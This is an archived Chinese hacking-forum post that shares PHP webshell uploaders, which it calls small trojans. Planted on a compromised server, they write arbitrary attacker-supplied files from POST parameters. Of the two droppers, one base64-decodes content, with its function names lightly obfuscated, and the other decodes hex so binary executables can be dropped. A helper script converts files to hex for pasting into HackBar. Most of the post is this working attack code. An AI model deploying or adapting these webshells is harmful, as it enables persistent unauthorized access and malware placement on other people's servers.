通过构造post方式上传16进制格式文件,-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2018-10-9 00:18:53

通过构造post方式上传16进制格式文件,

晚上回来整理strtus2漏洞课件,收到当年去天融信工作面试我的那个大神发来个问题(没办法,只会php;P)



0x01,程序代码如下

<?php
    if ($_POST) {
      $fo = fopen(urld去掉ecode($_POST["filepath"]), "w");
      $content = base64去掉_decode(urldecode($_POST["content"]));   
if (fwrite($fo, $content))
                echo "<font color=red><b>成功写入文件!</b></font>";
      else
                echo "<font color=#33CCFF><b>写入文件失败</b></font>";
    } else {
      echo "<font color=#CCFFFF>冰源独立编译php带密码小马</font>";
    }
?>

0x02,使用方法,需要自己去构造post参数,如下图


0x03,但是这里有一个问题,就是上传文本文件没什么问题,16进制文件,上传的程序不能运行




0x04,于是改成16进制写入,源码如下:
<html>
<head>
<meta charset="utf-8">
<title>当前IP <?=$_SERVER['SERVER_NAME']?></title>
</head>
<style>
body{font-family:Georgia;}
#neirong{width:558px;height:250px;border=#0000 1px solid}
#lujing{font-family:Georgia;width:389px;border=#0000 1px solid}
#shc{font-family:Georgia;background:#fff;width:63px;height:20px;border=#0000 1px solid}
</style>
<body bgcolor="black">
<?php
      function hexToFile($hexstr, $file){
      if($hexstr){
            $data = pack('H*', $hexstr);
            return file_put_contents($file, $data, true);
      }
    }
    if ($_POST) {
      $fo = urldecode($_POST["filepath"]);
      $content = urldecode($_POST["content"]);
      if (hexToFile($content, $fo))
                echo "<font color=red><b>成功写入文件!</b></font>";
      else
                echo "<font color=#33CCFF><b>写入文件失败</b></font>";
    } else {
      echo "<font color=#CCFFFF>必火独立编译php带密码小马</font>";
    }
?>
0x05,文件转16进制工具源码如下:
<?php
header("Content-type:text/html;charset=utf8");
function fileToHex($file){
if(file_exists($file)){
$data = file_get_contents($file);
return bin2hex($data);
}
return '';
}
function hexToFile($hexstr, $file){
if($hexstr){
$data = pack('H*', $hexstr);
file_put_contents($file, $data, true);
}
}

$file = $_FILES['upfile']['tmp_name'];
if ($file) {
      // 文件转16进制
      $hexstr = fileToHex($file);
      echo $hexstr.'<br><br>';
}
?>
<!DOCTYPE html>
<html>
<head>
      <title>必火16进制转换工具-www.xss.tv</title>
</head>
<body>
      <CENTER>
<form action="" method="post" enctype="multipart/form-data" >
      <input type="file" name="upfile"><input type="submit" name="" value="转16进制">
</form>
</CENTER>
</body>
</html>
0x06,文件转16进制工具运行结果如图



0x07,直接复制16进制数据,到火狐hackbar中运行,


0x08,保存后的文件如图,可以直接运行:lol



      
页: [1]
查看完整版本: 通过构造post方式上传16进制格式文件,